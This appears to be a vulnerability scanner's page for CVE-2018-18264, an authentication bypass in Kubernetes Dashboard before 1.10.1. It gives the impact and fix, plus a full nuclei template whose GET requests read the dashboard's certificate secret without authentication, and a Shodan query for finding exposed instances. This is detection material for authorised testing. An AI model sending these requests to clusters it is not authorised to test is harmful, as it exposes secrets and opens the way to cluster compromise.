Kubernetes Dashboard <1.10.1 - Authentication Bypass

highseverity

7.5CVSS score

70.4%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Kubernetes Dashboard before 1.10.1 allows attackers to bypass authentication and use Dashboard's Service Account for reading secrets within the cluster.

Impact

An attacker can bypass authentication and gain unauthorized access to the Kubernetes Dashboard, potentially leading to further compromise of the Kubernetes cluster.

Fix

Upgrade to Kubernetes Dashboard version 1.10.1 or later to mitigate the authentication bypass vulnerability.

How to confirm it

Send: GET {{BaseURL}}/api/v1/namespaces/kube-system/secrets/kubernetes-dashboard-certs ; GET {{BaseURL}}/k8s/api/v1/namespaces/kube-system/secrets/kubernetes-dashboard-certs
Positive when: contains(body, "apiVersion") && contains(body, "objectRef") AND status 200

Run it with nuclei: nuclei -id CVE-2018-18264 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-18264

info:
  name: Kubernetes Dashboard <1.10.1 - Authentication Bypass
  author: edoardottt
  severity: high
  description: |
    Kubernetes Dashboard before 1.10.1 allows attackers to bypass authentication and use Dashboard's Service Account for reading secrets within the cluster.
  impact: |
    An attacker can bypass authentication and gain unauthorized access to the Kubernetes Dashboard, potentially leading to further compromise of the Kubernetes cluster.
  remediation: |
    Upgrade to Kubernetes Dashboard version 1.10.1 or later to mitigate the authentication bypass vulnerability.
  reference:
    - https://github.com/kubernetes/dashboard/pull/3289
    - https://sysdig.com/blog/privilege-escalation-kubernetes-dashboard/
    - https://groups.google.com/forum/#!topic/kubernetes-announce/yBrFf5nmvfI
    - https://nvd.nist.gov/vuln/detail/CVE-2018-18264
    - https://github.com/kubernetes/dashboard/pull/3400
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-18264
    cwe-id: CWE-306
    epss-score: 0.70372
    epss-percentile: 0.99392
    cpe: cpe:2.3:a:kubernetes:dashboard:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: kubernetes
    product: dashboard
    shodan-query:
      - product:"Kubernetes"
      - product:"kubernetes"
  tags: cve,cve2018,kubernetes,k8s,auth-bypass,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/namespaces/kube-system/secrets/kubernetes-dashboard-certs"
      - "{{BaseURL}}/k8s/api/v1/namespaces/kube-system/secrets/kubernetes-dashboard-certs"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "apiVersion") && contains(body, "objectRef")'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from